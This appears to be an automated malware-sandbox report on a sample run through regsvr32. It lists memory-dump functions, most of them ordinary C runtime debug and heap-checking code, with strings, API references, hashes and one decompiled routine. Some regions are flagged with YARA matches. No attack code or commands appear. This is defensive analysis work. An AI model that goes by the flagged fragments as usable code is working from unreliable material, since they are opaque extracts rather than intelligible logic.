f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgrptt.c, xrefs: 000007FEF9D30262, 000007FEF9D3037E, 000007FEF9D303F1, 000007FEF9D3046D, 000007FEF9D304B4, 000007FEF9D30521, 000007FEF9D30567, 000007FEF9D30621, 000007FEF9D30694, 000007FEF9D30738, 000007FEF9D307A1, 000007FEF9D30A84, 000007FEF9D30C07
_CrtDbgReport: String too long or Invalid characters in String, xrefs: 000007FEF9D3077A
wcscpy_s(szUserMessage, 4096, L"_CrtDbgReport: String too long or IO Error"), xrefs: 000007FEF9D303FF
_itow_s(nLine, szLineMessage, 4096, 10), xrefs: 000007FEF9D30270, 000007FEF9D30C15
(*_errno()), xrefs: 000007FEF9D30396, 000007FEF9D30639
%s(%d) : %s, xrefs: 000007FEF9D305DB
wcstombs_s(((void *)0), szOutMessage2, 4096, szOutMessage, ((size_t)-1)), xrefs: 000007FEF9D30750
wcscat_s(szLineMessage, 4096, L"\r"), xrefs: 000007FEF9D3052F
wcscat_s(szLineMessage, 4096, L"\n"), xrefs: 000007FEF9D30575
<file unknown>, xrefs: 000007FEF9D302A8
Assertion failed: , xrefs: 000007FEF9D30422
wcscpy_s(szLineMessage, 4096, szFormat ? L"Assertion failed: " : L"Assertion failed!"), xrefs: 000007FEF9D3047B
_CrtDbgReport: String too long or IO Error, xrefs: 000007FEF9D303C7, 000007FEF9D3066A
, Line , xrefs: 000007FEF9D302C5
wcscpy_s(szOutMessage, 4096, L"_CrtDbgReport: String too long or IO Error"), xrefs: 000007FEF9D306A2
strcpy_s(szOutMessage2, 4096, "_CrtDbgReport: String too long or Invalid characters in String"), xrefs: 000007FEF9D307AF
wcscat_s(szLineMessage, 4096, szUserMessage), xrefs: 000007FEF9D304C2
_VCrtDbgReportW, xrefs: 000007FEF9D30269, 000007FEF9D3038A, 000007FEF9D303F8, 000007FEF9D30474, 000007FEF9D304BB, 000007FEF9D30528, 000007FEF9D3056E, 000007FEF9D3062D, 000007FEF9D3069B, 000007FEF9D30744, 000007FEF9D307A8, 000007FEF9D30A90, 000007FEF9D30C0E
Second Chance Assertion Failed: File , xrefs: 000007FEF9D3027E
P, xrefs: 000007FEF9D30AC6
Assertion failed!, xrefs: 000007FEF9D30433
wcstombs_s(&ret, szaOutMessage, 4096, szOutMessage, ((size_t)-1)), xrefs: 000007FEF9D30A9C

Memory Dump Source

Source File: 00000003.00000002.926879191.000007FEF9D21000.00000020.00000001.01000000.00000006.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926872386.000007FEF9D20000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926902888.000007FEF9D42000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926912202.000007FEF9D4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926917238.000007FEF9D4F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invoke_watson_if_error$DebugOutputString$_invoke_watson_if_oneof$_itow_s_snwprintf_s_unlock_wcsftime_l
String ID: %s(%d) : %s$(*_errno())$, Line $<file unknown>$Assertion failed!$Assertion failed: $P$Second Chance Assertion Failed: File $_CrtDbgReport: String too long or IO Error$_CrtDbgReport: String too long or Invalid characters in String$_VCrtDbgReportW$_itow_s(nLine, szLineMessage, 4096, 10)$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgrptt.c$strcpy_s(szOutMessage2, 4096, "_CrtDbgReport: String too long or Invalid characters in String")$wcscat_s(szLineMessage, 4096, L"\n")$wcscat_s(szLineMessage, 4096, L"\r")$wcscat_s(szLineMessage, 4096, szUserMessage)$wcscpy_s(szLineMessage, 4096, szFormat ? L"Assertion failed: " : L"Assertion failed!")$wcscpy_s(szOutMessage, 4096, L"_CrtDbgReport: String too long or IO Error")$wcscpy_s(szUserMessage, 4096, L"_CrtDbgReport: String too long or IO Error")$wcstombs_s(&ret, szaOutMessage, 4096, szOutMessage, ((size_t)-1))$wcstombs_s(((void *)0), szOutMessage2, 4096, szOutMessage, ((size_t)-1))
API String ID: 4197005980-4190456261
Opcode ID: 91caf2df9a40c10ca931429e5e540051a4e8143577a7dc19426bf0d901356392
Instruction ID: 4be8715b722ea95f30444376ecaecfb3c385eb747484933fb25f7726159d970d
Opcode Fuzzy Hash: 91caf2df9a40c10ca931429e5e540051a4e8143577a7dc19426bf0d901356392
Instruction Fuzzy Hash: 5C422C31A0CA8691E7B0CB14E8547EE73E4F784345FA08226D6CD43AA9DF7EE549CB41

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D30CC0 Relevance: 38.6, APIs: 16, Strings: 6, Instructions: 140libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 000007FEF9D23D00: RtlEncodePointer.NTDLL ref: 000007FEF9D23D06

LoadLibraryW.KERNEL32 ref: 000007FEF9D30D2A
GetProcAddress.KERNEL32 ref: 000007FEF9D30D50
DecodePointer.KERNEL32 ref: 000007FEF9D30E40
DecodePointer.KERNEL32 ref: 000007FEF9D30E52
DecodePointer.KERNEL32 ref: 000007FEF9D30F67

Strings

GetLastActivePopup, xrefs: 000007FEF9D30D9E
USER32.DLL, xrefs: 000007FEF9D30D23
GetActiveWindow, xrefs: 000007FEF9D30D7C
GetProcessWindowStation, xrefs: 000007FEF9D30DF3
MessageBoxA, xrefs: 000007FEF9D30D44
GetUserObjectInformationA, xrefs: 000007FEF9D30DC0

Memory Dump Source

Source File: 00000003.00000002.926879191.000007FEF9D21000.00000020.00000001.01000000.00000006.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926872386.000007FEF9D20000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926902888.000007FEF9D42000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926912202.000007FEF9D4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926917238.000007FEF9D4F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Pointer$Decode$AddressEncodeLibraryLoadProc
String ID: GetActiveWindow$GetLastActivePopup$GetProcessWindowStation$GetUserObjectInformationA$MessageBoxA$USER32.DLL
API String ID: 2256938910-232180764
Opcode ID: 4136024d25ab454011a9418e3e33b4ea31b56a31dc25d7fc48a91c666a4aba5f
Instruction ID: 2fdcab7defb259cab3e0ae5c8194edaf0e6743a208e28eb4b7718d98c4970bd2
Opcode Fuzzy Hash: 4136024d25ab454011a9418e3e33b4ea31b56a31dc25d7fc48a91c666a4aba5f
Instruction Fuzzy Hash: F581C531A09B8686E7A09B19FC4436EB3E0F784795F608135DACE42678DF7EE448CB41

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D24A70 Relevance: 30.3, APIs: 2, Strings: 15, Instructions: 504COMMONLIBRARYCODE

Download Yara Rule

Strings

Error: memory allocation: bad memory block type., xrefs: 000007FEF9D24D7D
pOldBlock->nLine == IGNORE_LINE && pOldBlock->lRequest == IGNORE_REQ, xrefs: 000007FEF9D24EA2
Invalid allocation size: %Iu bytes.Memory allocated at %hs(%d)., xrefs: 000007FEF9D24C94
Client hook re-allocation failure at file %hs line %d., xrefs: 000007FEF9D24C00
fRealloc || (!fRealloc && pNewBlock == pOldBlock), xrefs: 000007FEF9D251AB
_pLastBlock == pOldBlock, xrefs: 000007FEF9D25226
Invalid allocation size: %Iu bytes., xrefs: 000007FEF9D24CC6
The Block at 0x%p was allocated by aligned routines, use _aligned_realloc(), xrefs: 000007FEF9D24DE7
Error: memory allocation: bad memory block type.Memory allocated at %hs(%d)., xrefs: 000007FEF9D24D55
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgheap.c, xrefs: 000007FEF9D24B38, 000007FEF9D24E45, 000007FEF9D24EB7, 000007FEF9D251C0, 000007FEF9D2523B, 000007FEF9D252A9
_pFirstBlock == pOldBlock, xrefs: 000007FEF9D25294
_CrtCheckMemory(), xrefs: 000007FEF9D24B23
_CrtIsValidHeapPointer(pUserData), xrefs: 000007FEF9D24E30
Error: possible heap corruption at or near 0x%p, xrefs: 000007FEF9D24F22
Client hook re-allocation failure., xrefs: 000007FEF9D24C25

Memory Dump Source

Source File: 00000003.00000002.926879191.000007FEF9D21000.00000020.00000001.01000000.00000006.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926872386.000007FEF9D20000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926902888.000007FEF9D42000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926912202.000007FEF9D4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926917238.000007FEF9D4F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID:
String ID: Client hook re-allocation failure at file %hs line %d.$Client hook re-allocation failure.$Error: memory allocation: bad memory block type.$Error: memory allocation: bad memory block type.Memory allocated at %hs(%d).$Error: possible heap corruption at or near 0x%p$Invalid allocation size: %Iu bytes.$Invalid allocation size: %Iu bytes.Memory allocated at %hs(%d).$The Block at 0x%p was allocated by aligned routines, use _aligned_realloc()$_CrtCheckMemory()$_CrtIsValidHeapPointer(pUserData)$_pFirstBlock == pOldBlock$_pLastBlock == pOldBlock$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgheap.c$fRealloc || (!fRealloc && pNewBlock == pOldBlock)$pOldBlock->nLine == IGNORE_LINE && pOldBlock->lRequest == IGNORE_REQ
API String ID: 0-1181733849
Opcode ID: caf568ba67e02e981cee0a62def33bb5426de77b0166e0249518d1aed8fc28ed
Instruction ID: 672275d76b56a31b76a57beb3bef09bdc1cc68057209de26ab42cab730db0c01
Opcode Fuzzy Hash: caf568ba67e02e981cee0a62def33bb5426de77b0166e0249518d1aed8fc28ed
Instruction Fuzzy Hash: 27421F31A0DB8585EBA08B69E88076EB7E0F785790F214136DADD83BB4DB7ED440CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D253FB Relevance: 21.3, APIs: 2, Strings: 10, Instructions: 267memoryCOMMON

Download Yara Rule

APIs

_CrtIsValidHeapPointer.LIBCMTD ref: 000007FEF9D254D9
_free_base.LIBCMTD ref: 000007FEF9D2583F

Strings

pHead->nLine == IGNORE_LINE && pHead->lRequest == IGNORE_REQ, xrefs: 000007FEF9D257E9
HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer., xrefs: 000007FEF9D2579F
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgheap.c, xrefs: 000007FEF9D254F7, 000007FEF9D2556D, 000007FEF9D257FE
HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer.Memory allocated at %hs(%d)., xrefs: 000007FEF9D2573C
HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer., xrefs: 000007FEF9D25683
The Block at 0x%p was allocated by aligned routines, use _aligned_free(), xrefs: 000007FEF9D2542B
_BLOCK_TYPE_IS_VALID(pHead->nBlockUse), xrefs: 000007FEF9D25558
_CrtIsValidHeapPointer(pUserData), xrefs: 000007FEF9D254E2
HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer.Memory allocated at %hs(%d)., xrefs: 000007FEF9D25620
Client hook free failure., xrefs: 000007FEF9D254A0

Memory Dump Source

Source File: 00000003.00000002.926879191.000007FEF9D21000.00000020.00000001.01000000.00000006.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926872386.000007FEF9D20000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926902888.000007FEF9D42000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926912202.000007FEF9D4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926917238.000007FEF9D4F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: HeapPointerValid_free_base
String ID: Client hook free failure.$HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer.$HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer.Memory allocated at %hs(%d).$HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer.$HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer.Memory allocated at %hs(%d).$The Block at 0x%p was allocated by aligned routines, use _aligned_free()$_BLOCK_TYPE_IS_VALID(pHead->nBlockUse)$_CrtIsValidHeapPointer(pUserData)$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgheap.c$pHead->nLine == IGNORE_LINE && pHead->lRequest == IGNORE_REQ
API String ID: 1656799702-182684663
Opcode ID: 5020832333ec35d85279f4adfeb03ce22c38d55cbbbf155ecd90f9052befc044
Instruction ID: a89e9ee482389454aa7ea2a98c74fcfc2c6f72e51cab5ee636fbf14708ed73c9
Opcode Fuzzy Hash: 5020832333ec35d85279f4adfeb03ce22c38d55cbbbf155ecd90f9052befc044
Instruction Fuzzy Hash: 51C17D36A18B4586EBA48B59E88076EB7E0F785790F614536EBCD43BB4DB7ED440CB00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D25CAD Relevance: 17.8, Strings: 14, Instructions: 322COMMON

Download Yara Rule

Strings

HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer., xrefs: 000007FEF9D26030
HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer.Memory allocated at %hs(%d)., xrefs: 000007FEF9D25FE7
HEAP CORRUPTION DETECTED: on top of Free block at 0x%p.CRT detected that the application wrote to a heap buffer that was freed.Memory allocated at %hs(%d)., xrefs: 000007FEF9D260C7
_heapchk fails with _HEAPBADNODE., xrefs: 000007FEF9D25D19
HEAP CORRUPTION DETECTED: on top of Free block at 0x%p.CRT detected that the application wrote to a heap buffer that was freed., xrefs: 000007FEF9D260FA
%hs located at 0x%p is %Iu bytes long.Memory allocated at %hs(%d)., xrefs: 000007FEF9D2617C
DAMAGED, xrefs: 000007FEF9D25E7D
_heapchk fails with _HEAPBADBEGIN., xrefs: 000007FEF9D25CE5
HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer., xrefs: 000007FEF9D25F42
_heapchk fails with _HEAPBADPTR., xrefs: 000007FEF9D25D7E
_heapchk fails with _HEAPBADEND., xrefs: 000007FEF9D25D4D
HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer.Memory allocated at %hs(%d)., xrefs: 000007FEF9D25EF9
_1, xrefs: 000007FEF9D261FC
_heapchk fails with unknown return value!, xrefs: 000007FEF9D25DAF

Memory Dump Source

Source File: 00000003.00000002.926879191.000007FEF9D21000.00000020.00000001.01000000.00000006.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926872386.000007FEF9D20000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926902888.000007FEF9D42000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926912202.000007FEF9D4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926917238.000007FEF9D4F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID:
String ID: %hs located at 0x%p is %Iu bytes long.Memory allocated at %hs(%d).$DAMAGED$HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer.$HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer.Memory allocated at %hs(%d).$HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer.$HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer.Memory allocated at %hs(%d).$HEAP CORRUPTION DETECTED: on top of Free block at 0x%p.CRT detected that the application wrote to a heap buffer that was freed.$HEAP CORRUPTION DETECTED: on top of Free block at 0x%p.CRT detected that the application wrote to a heap buffer that was freed.Memory allocated at %hs(%d).$_heapchk fails with _HEAPBADBEGIN.$_heapchk fails with _HEAPBADEND.$_heapchk fails with _HEAPBADNODE.$_heapchk fails with _HEAPBADPTR.$_heapchk fails with unknown return value!$_1
API String ID: 0-510578482
Opcode ID: ecaeb8f0e9f50f2af9e26624824c00194ce636c943c5c9e443a2ba6a1604b1b7
Instruction ID: e4bd894b2b1f7b9ef1ad6a2df7423bb6029b32d077619e3c403e9c7133be1b2d
Opcode Fuzzy Hash: ecaeb8f0e9f50f2af9e26624824c00194ce636c943c5c9e443a2ba6a1604b1b7
Instruction Fuzzy Hash: EDE14F36A1CB5586EBA4CB69E88072EB7E0F384754F614526EACD43BB4DB7ED051CB00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D23280 Relevance: 12.1, APIs: 8, Instructions: 67
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 57%

			E000007FE7FEF9D23280(void* __eax, signed int __ecx, signed int __edx, signed int __rcx, signed int __rdx, void* __r8) {
				void* _t7;
				void* _t10;
				signed long long _t15;
				signed long long* _t16;
				signed long long _t20;
				signed long long _t24;

				_t7 = __rcx -  *0xf9d4b018; // 0x6ebd4e3f5ce4
				if (_t7 != 0) goto 0xf9d2329a;
				asm("dec eax");
				if ((__ecx & 0x0000ffff) != 0) goto 0xf9d23296;
				asm("repe ret");
				asm("dec eax");
				goto 0xf9d23720;
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("int3");
				asm("o16 nop [eax+eax]");
				if (__r8 - 8 < 0) goto 0xf9d2330c;
				_t20 = __rdx * 0x1010101;
				_t10 = __r8 - 0x40;
				if (_t10 < 0) goto 0xf9d232ee;
				_t15 =  ~__rcx;
				if (_t10 == 0) goto 0xf9d232de;
				 *__rcx = _t20;
				_t16 = _t15 + __rcx;
				if (_t10 != 0) goto 0xf9d23327;
				_t24 = __r8 - _t15 & 7;
				if (_t10 == 0) goto 0xf9d2330c;
				 *_t16 = _t20;
				if (_t10 != 0) goto 0xf9d23300;
				if (_t24 == 0) goto 0xf9d2331b;
				_t16[1] = __edx & 0x000000ff;
				if (_t24 - 1 != 0) goto 0xf9d23311;
				return __eax;
			}

0x7fef9d23280
0x7fef9d23287
0x7fef9d23289
0x7fef9d23292
0x7fef9d23294
0x7fef9d23296
0x7fef9d2329a
0x7fef9d2329f
0x7fef9d232a0
0x7fef9d232a1
0x7fef9d232a2
0x7fef9d232a3
0x7fef9d232a4
0x7fef9d232a5
0x7fef9d232a6
0x7fef9d232b7
0x7fef9d232c6
0x7fef9d232ca
0x7fef9d232ce
0x7fef9d232d0
0x7fef9d232d6
0x7fef9d232db
0x7fef9d232de
0x7fef9d232ec
0x7fef9d232f1
0x7fef9d232f9
0x7fef9d23300
0x7fef9d2330a
0x7fef9d2330f
0x7fef9d23311
0x7fef9d23319
0x7fef9d2331b

APIs

RtlCaptureContext.KERNEL32 ref: 000007FEF9D23733
RtlLookupFunctionEntry.KERNEL32 ref: 000007FEF9D23752
RtlVirtualUnwind.KERNEL32 ref: 000007FEF9D2379E
IsDebuggerPresent.KERNEL32 ref: 000007FEF9D23810
SetUnhandledExceptionFilter.KERNEL32 ref: 000007FEF9D23828
UnhandledExceptionFilter.KERNEL32 ref: 000007FEF9D23835
GetCurrentProcess.KERNEL32 ref: 000007FEF9D2384E
TerminateProcess.KERNEL32 ref: 000007FEF9D2385C

Memory Dump Source

Source File: 00000003.00000002.926879191.000007FEF9D21000.00000020.00000001.01000000.00000006.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926872386.000007FEF9D20000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926902888.000007FEF9D42000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926912202.000007FEF9D4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926917238.000007FEF9D4F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CaptureContextCurrentDebuggerEntryFunctionLookupPresentTerminateUnwindVirtual
String ID:
API String ID: 3778485334-0
Opcode ID: b9a945e82b5db3173e30537439e0c8a0a2586c91a17b1594fbe54d080f64dea2
Instruction ID: 1cff5b4ce0ef1e4e3ef6199276dfa804718153c0ec8d85c09348b02a89a91835
Opcode Fuzzy Hash: b9a945e82b5db3173e30537439e0c8a0a2586c91a17b1594fbe54d080f64dea2
Instruction Fuzzy Hash: 0F31B435908B4685EAA09B69FD443AEB3E0F784794F608026DACD43775DF7EE0588B01

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180019AF0 Relevance: 10.7, Strings: 8, Instructions: 710COMMON

Download Yara Rule

Strings

XW], xrefs: 000000018001A6F4
!f3, xrefs: 000000018001AA9A
KE, xrefs: 000000018001AA16
CZ&B, xrefs: 000000018001A208
~V, xrefs: 000000018001A549
ehl, xrefs: 000000018001A6A1
{H, xrefs: 000000018001A171
/w 8, xrefs: 0000000180019ED2

Memory Dump Source

Source File: 00000003.00000002.926762397.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: !f3$/w 8$CZ&B$KE$XW]${H$~V$ehl
API String ID: 0-603092622
Opcode ID: 1ed8f1f3fe5d83a620da9bed02dcbbab86e8a919e24c18f8a00020719e4cb4ac
Instruction ID: cfa183faa2580dac9c87674e45a13d453ed6874265d0529349a04ca9f57a85af
Opcode Fuzzy Hash: 1ed8f1f3fe5d83a620da9bed02dcbbab86e8a919e24c18f8a00020719e4cb4ac
Instruction Fuzzy Hash: 079206752047888BDBB8CF24D8897CE7BE1FB86354F10451DE94E8AA60DBB89744CF42

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D2443C Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 112COMMON

Download Yara Rule

APIs

_unlock.LIBCMTD ref: 000007FEF9D248B9

Strings

Client hook allocation failure., xrefs: 000007FEF9D24554
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgheap.c, xrefs: 000007FEF9D2446A
_CrtCheckMemory(), xrefs: 000007FEF9D24455
Client hook allocation failure at file %hs line %d., xrefs: 000007FEF9D2452F
Invalid allocation size: %Iu bytes., xrefs: 000007FEF9D245C6

Memory Dump Source

Source File: 00000003.00000002.926879191.000007FEF9D21000.00000020.00000001.01000000.00000006.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926872386.000007FEF9D20000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926902888.000007FEF9D42000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926912202.000007FEF9D4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926917238.000007FEF9D4F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _unlock
String ID: Client hook allocation failure at file %hs line %d.$Client hook allocation failure.$Invalid allocation size: %Iu bytes.$_CrtCheckMemory()$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\dbgheap.c
API String ID: 2480363372-3680694803
Opcode ID: 20c9d93c7bd8e5bb28edf4ede7e61cb74df2466a6d8b2339d4d317b1b63016a2
Instruction ID: 043f5a1d32994ed4de3068b5f716ee40183123659e8364044ce03f87ba7bfcf6
Opcode Fuzzy Hash: 20c9d93c7bd8e5bb28edf4ede7e61cb74df2466a6d8b2339d4d317b1b63016a2
Instruction Fuzzy Hash: 6D510A31A096828AE7F48B68EC4576E73E4F395354F614135DADD83BB4DB3EE4448B01

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800165E4 Relevance: 10.4, Strings: 8, Instructions: 443COMMON

Download Yara Rule

Strings

"98, xrefs: 000000018001697E
-~, xrefs: 000000018001685B
t, xrefs: 0000000180016E94
5%dv, xrefs: 0000000180016F0D
RXrB, xrefs: 0000000180016AF3
!X, xrefs: 0000000180016BEA
}k=, xrefs: 0000000180016954
t, xrefs: 0000000180016677

Memory Dump Source

Source File: 00000003.00000002.926762397.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: -~$!X$"98$5%dv$RXrB$}k=$t$t
API String ID: 0-2601355769
Opcode ID: 1ffe31184e489043dfc0ad9b25877cc2ca41a6506ccf0b542c306d1cb23fc7eb
Instruction ID: 40fa059977533c12daa4c197ac7ec32be5dd4a9ad21ad0dd792eee812670dda9
Opcode Fuzzy Hash: 1ffe31184e489043dfc0ad9b25877cc2ca41a6506ccf0b542c306d1cb23fc7eb
Instruction Fuzzy Hash: 4E32F4B1A0578C8BCBB9CF68C8997DD7BF0FB48318F90521DEA099B251CB745A45CB18

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001DBFC Relevance: 10.0, Strings: 7, Instructions: 1221COMMON

Download Yara Rule

Strings

1P, xrefs: 000000018001F6BA
$3, xrefs: 000000018001F431
H<,D, xrefs: 000000018001E538
e, xrefs: 000000018001EE19
e, xrefs: 000000018001ECBD
#X, xrefs: 000000018001ED39
I, xrefs: 000000018001E644

Memory Dump Source

Source File: 00000003.00000002.926762397.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: #X$$3$1P$H<,D$I$e$e
API String ID: 0-63615268
Opcode ID: f878a82ca4faae8fe20105a06ae6298662dc00276aeafef1a86afe3292831526
Instruction ID: 84603d17c853973844c2c43058df0d3f37fc759f8199a5ada31f3ca4409f6e56
Opcode Fuzzy Hash: f878a82ca4faae8fe20105a06ae6298662dc00276aeafef1a86afe3292831526
Instruction Fuzzy Hash: 64E2CF715046898BDBF9DF24C88A7DD3BA1BB44344FA0C119E88ECE291DF745A8DEB41

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800091A8 Relevance: 9.4, Strings: 7, Instructions: 640COMMON

Download Yara Rule

Strings

`S, xrefs: 0000000180009AA3
yHb, xrefs: 0000000180009B63
Ag9, xrefs: 00000001800096FE
N?, xrefs: 0000000180009A0F
*TG, xrefs: 00000001800095E1
jk7, xrefs: 0000000180009A73
, xrefs: 0000000180009467

Memory Dump Source

Source File: 00000003.00000002.926762397.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: $*TG$Ag9$N?$`S$jk7$yHb
API String ID: 0-938425255
Opcode ID: a8480cca88ee067c9f89c24fcf558755f915344c34e6418cf6ef844eb024a60c
Instruction ID: 9f34faa7130dc1dd87f506cddbfe67dee9fd1f9295814769d0e47bce79b2000f
Opcode Fuzzy Hash: a8480cca88ee067c9f89c24fcf558755f915344c34e6418cf6ef844eb024a60c
Instruction Fuzzy Hash: 6D62E371A0530CDFCB59DFA8D18A6DDBBF1FF48344F004119E84AA72A0D7B4991ACB89

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001F908 Relevance: 9.2, Strings: 7, Instructions: 464COMMON

Download Yara Rule

Strings

eIas, xrefs: 000000018001FCD2
B., xrefs: 000000018002023D
#X, xrefs: 000000018001FA0E
Jq^, xrefs: 000000018001FFC6
p<c, xrefs: 000000018001FFB4
3A<7, xrefs: 000000018001FDCE
~;-, xrefs: 000000018002026C

Memory Dump Source

Source File: 00000003.00000002.926762397.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: #X$3A<7$B.$Jq^$eIas$p<c$~;-
API String ID: 0-2724674699
Opcode ID: c830ff2e536ec82d4aacd995a299ed7dc96ce275305048a2346641cb28e12bef
Instruction ID: 11eaaa9cd8c54950f626fcd1c6608fbf38bfda5f45ba0fc90d4db62925cbbc4d
Opcode Fuzzy Hash: c830ff2e536ec82d4aacd995a299ed7dc96ce275305048a2346641cb28e12bef
Instruction Fuzzy Hash: 4142EAB090438C8BCBB8DF64C8857DD7BF0FB48308F50852DEA1A9B251DBB05685CB98

